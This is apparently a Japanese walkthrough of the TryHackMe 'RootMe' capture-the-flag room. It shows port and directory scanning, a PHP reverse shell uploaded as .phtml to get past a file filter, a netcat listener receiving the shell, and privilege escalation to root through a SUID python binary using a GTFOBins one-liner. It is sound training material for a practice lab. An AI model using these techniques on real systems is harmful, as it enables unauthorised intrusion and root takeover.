Open5

[Try Hach Me]RootMe

kenryokenryo
Scan the machine, how many ports are open?
What version of Apache is running?
What service is running on port 22?

バージョン情報を取得するためnmapのオプションにsVを指定する。
nmap -sV -p- --min-rate 5000 10.10.229.194

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.229.194
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 21:44 JST
Warning: 10.10.229.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.229.194
Host is up (0.26s latency).
Not shown: 64397 closed tcp ports (conn-refused), 1136 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.07 seconds
kenryokenryo
Find directories on the web server using the GoBuster tool.
What is the hidden directory?

gobusterで隠しディレクトリを探す。
ワードリストは/usr/share/wordlists/dirbuster/directory-list-2.3-small.txtを使った。

gobuster dir -u 10.10.229.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.10.229.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.229.194
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 316] [--> http://10.10.229.194/uploads/]
/css                  (Status: 301) [Size: 312] [--> http://10.10.229.194/css/]
/js                   (Status: 301) [Size: 311] [--> http://10.10.229.194/js/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.229.194/panel/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================                                                              
kenryokenryo
Find a form to upload and get a reverse shell, and find the flag.

ブラウザでhttp://10.10.229.194/panel/にアクセスするとファイルのアップロード画面が表示された。
適当なファイルをアップロードした。

そのあと、http://10.10.229.194/uploads/にアクセスするとアップロードしたファイルが一覧に表示された。

ヒントはSearch for "file upload bypass" and "PHP reverse shell".だった。

PHP reverse shellというのはこれのこと(/usr/share/webshells/php/php-reverse-shell.phpと同一)。

ncコマンドでローカルサーバを立ち上げListenする。ポートは1234とする。

┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -v -n -l -p 1234                       
listening on [any] 1234 ...

php-reverse-shell.phpの以下をローカルマシンのIP、Listenしているポートに書き換え、/panel/からアップロードする。

しようとしたが、phpファイルのアップロードは制限されているみたい。

いろいろ試したが、phtmlでうまくいった。

┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -v -n -l -p 1234                                  
listening on [any] 1234 ...
connect to [10.8.120.61] from (UNKNOWN) [10.10.118.161] 50132
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 14:47:06 up 21 min,  0 users,  load average: 0.00, 0.02, 0.16
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
vmlinuz
vmlinuz.old

user.txtを探したところ./var/www/user.txtがあり、中にフラグが書かれていた。

$ find . -name user.txt
.
.
.
./var/www/user.txt
.
.
.
kenryokenryo
Search for files with SUID permission, which file is weird?

find / -user root -perm /4000

permオプションについては以下参照。

https://www.ricecake24book.com/linux-find-perm/

$ find / -user root -perm /4000
.
.
.
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
.
.
.
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
.
.
.
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
.
.
.
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
.
.
.
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
.
.
.
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount

/usr/bin/pythonの所有者がrootかつSUIDが付与されているため、こいつを実行したらrootとしてふるまうことができる。

https://qiita.com/showchan33/items/a181bf6781ffd4587bdf

kenryokenryo

GTFOBinsでPythonを検索し、SUIDが設定されていた場合のコマンドpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'を実行する。

https://gtfobins.github.io/gtfobins/python/

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
whoami
root
find / -name root.txt 2> /dev/null
/root/root.txt
cat /root/root.txt